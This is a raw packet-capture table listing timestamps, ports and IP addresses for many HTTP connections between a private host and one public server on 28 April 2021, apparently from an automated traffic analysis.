Apr 28, 2021 23:25:53.020601988 CEST	50548	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.116221905 CEST	80	50549	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.119752884 CEST	80	50549	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.120026112 CEST	50549	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.234139919 CEST	50549	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.235423088 CEST	50550	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.328145981 CEST	80	50550	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.328453064 CEST	50550	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.329104900 CEST	80	50549	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.329293013 CEST	50549	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.329519987 CEST	50550	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.425009012 CEST	80	50550	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.426171064 CEST	80	50550	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.426924944 CEST	50550	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.531023979 CEST	50550	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.532551050 CEST	50551	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.623814106 CEST	80	50550	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.626219988 CEST	50550	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.631833076 CEST	80	50551	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.634254932 CEST	50551	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.634834051 CEST	50551	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.735897064 CEST	80	50551	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.740077972 CEST	80	50551	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.740221977 CEST	50551	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.843225002 CEST	50551	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.844532013 CEST	50553	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.940114021 CEST	80	50553	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.940356016 CEST	50553	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.940871954 CEST	50553	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.942158937 CEST	80	50551	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.942307949 CEST	50551	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.036200047 CEST	80	50553	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.039644957 CEST	80	50553	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.039911032 CEST	50553	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.155606031 CEST	50553	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.157135963 CEST	50554	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.251048088 CEST	80	50553	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.251810074 CEST	50553	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.254367113 CEST	80	50554	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.256326914 CEST	50554	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.257015944 CEST	50554	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.356050968 CEST	80	50554	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.359910011 CEST	80	50554	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.360089064 CEST	50554	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.473052979 CEST	50554	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.473128080 CEST	50555	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.571896076 CEST	80	50554	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.572010994 CEST	50554	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.573750973 CEST	80	50555	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.573884010 CEST	50555	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.574729919 CEST	50555	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.676295996 CEST	80	50555	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.680715084 CEST	80	50555	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.680953026 CEST	50555	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.792095900 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.795816898 CEST	50555	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.797219992 CEST	50557	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.892985106 CEST	80	50557	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.893165112 CEST	50557	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.893821955 CEST	50557	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.893831015 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.893920898 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.894242048 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.894849062 CEST	80	50555	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.894937038 CEST	50555	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.991183996 CEST	80	50557	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.994868994 CEST	80	50557	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.995125055 CEST	50557	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.997087955 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.997219086 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.997256994 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.997306108 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.997786045 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.997814894 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.997999907 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.998388052 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.998475075 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.998497963 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.998558044 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.999003887 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.999093056 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.999258041 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.999336004 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:54.999444962 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:54.999512911 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.099394083 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.099419117 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.099431038 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.099567890 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.099616051 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.099766016 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.100022078 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.100096941 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.100179911 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.100192070 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.100255966 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.100302935 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.100692034 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.100733995 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.100774050 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.100811005 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.100900888 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.100961924 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.101098061 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.101154089 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.101262093 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.101324081 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.108921051 CEST	50557	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.110565901 CEST	50558	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.201359987 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201402903 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201416016 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201446056 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201457977 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201572895 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.201657057 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.201663971 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201675892 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201754093 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.201802015 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201814890 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.201822996 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.201895952 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.201956987 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.202006102 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.202052116 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.202111006 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.202235937 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.202306986 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.202447891 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.202477932 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.202488899 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.202519894 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.202621937 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.202791929 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.202883959 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.202997923 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.203010082 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.204508066 CEST	80	50557	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.204602003 CEST	50557	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.208412886 CEST	80	50558	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.208626986 CEST	50558	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.209743023 CEST	50558	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.303252935 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.303277969 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.303286076 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.303476095 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.303678989 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.303695917 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.303797960 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.303997993 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304198027 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304239035 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304250002 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304358006 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304394007 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304553986 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304594040 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304631948 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304713011 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.304737091 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.306379080 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.306621075 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.307324886 CEST	80	50558	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.310982943 CEST	80	50558	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.311113119 CEST	50558	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.408268929 CEST	80	50556	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.408379078 CEST	50556	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.421796083 CEST	50558	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.423414946 CEST	50560	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.518980980 CEST	80	50560	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.519108057 CEST	50560	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.519361019 CEST	80	50558	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.519450903 CEST	50558	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.519795895 CEST	50560	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.615137100 CEST	80	50560	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.619201899 CEST	80	50560	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.619411945 CEST	50560	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.734702110 CEST	50560	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.736335039 CEST	50561	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.830229998 CEST	80	50560	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.830442905 CEST	50560	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.835892916 CEST	80	50561	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.836070061 CEST	50561	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.836781979 CEST	50561	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:55.935833931 CEST	80	50561	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.943490028 CEST	80	50561	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:55.943613052 CEST	50561	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.049252987 CEST	50561	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.050457954 CEST	50562	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.145251989 CEST	80	50562	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.145482063 CEST	50562	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.146243095 CEST	50562	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.146984100 CEST	80	50561	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.147078991 CEST	50561	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.241512060 CEST	80	50562	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.245115995 CEST	80	50562	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.245228052 CEST	50562	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.359479904 CEST	50562	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.361197948 CEST	50564	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.454366922 CEST	80	50562	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.454476118 CEST	50562	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.460320950 CEST	80	50564	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.460434914 CEST	50564	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.461129904 CEST	50564	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.560192108 CEST	80	50564	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.563991070 CEST	80	50564	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.564291954 CEST	50564	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.671417952 CEST	50564	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.672666073 CEST	50565	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.772433996 CEST	80	50564	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.773118973 CEST	50564	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.783055067 CEST	80	50565	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.783230066 CEST	50565	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.784363031 CEST	50565	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:56.893313885 CEST	80	50565	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.897084951 CEST	80	50565	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:56.897176027 CEST	50565	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.008441925 CEST	50565	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.008471012 CEST	50566	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.104720116 CEST	80	50566	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.105355978 CEST	50566	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.106065989 CEST	50566	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.117862940 CEST	80	50565	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.118572950 CEST	50565	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.201997995 CEST	80	50566	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.205914021 CEST	80	50566	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.206166983 CEST	50566	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.312392950 CEST	50566	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.313875914 CEST	50567	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.407776117 CEST	80	50566	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.407938004 CEST	50566	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.413990974 CEST	80	50567	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.414146900 CEST	50567	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.415115118 CEST	50567	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.517195940 CEST	80	50567	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.522110939 CEST	80	50567	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.522531986 CEST	50567	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.559286118 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.640651941 CEST	50567	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.642070055 CEST	50569	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.653179884 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.653377056 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.653877020 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.740416050 CEST	80	50567	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.740890980 CEST	50567	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.742018938 CEST	80	50569	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.742225885 CEST	50569	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.742942095 CEST	50569	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.748404980 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.748562098 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.748702049 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.748877048 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.748996973 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.749083042 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.749211073 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.749289989 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.749418974 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.749700069 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.749816895 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.749902964 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.750001907 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.750070095 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.750123978 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.750190973 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.750304937 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.750376940 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.842401981 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.842425108 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.842462063 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.842477083 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.842601061 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.842619896 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.842653990 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.842658997 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.842691898 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.842716932 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.842904091 CEST	80	50569	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.843224049 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.843307018 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.843425989 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.843462944 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.843473911 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.843512058 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.843558073 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.843748093 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.843823910 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.843868971 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.843941927 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.846868992 CEST	80	50569	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.846967936 CEST	50569	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.937096119 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.937120914 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.937273979 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.937340021 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.937987089 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938004017 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938014030 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938088894 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938128948 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938175917 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.938241959 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.938257933 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.938508034 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938586950 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.938676119 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938731909 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938741922 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.938783884 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.938937902 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.938952923 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.939014912 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.939028978 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.939101934 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.939462900 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.939479113 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.939495087 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:57.939537048 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.952512026 CEST	50569	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:57.953633070 CEST	50570	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.030728102 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.030750036 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.030765057 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.031498909 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.031646967 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.031661987 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.031706095 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.031883955 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.032124996 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.032471895 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.032527924 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.032669067 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.032684088 CEST	80	50568	176.111.174.114	192.168.2.5
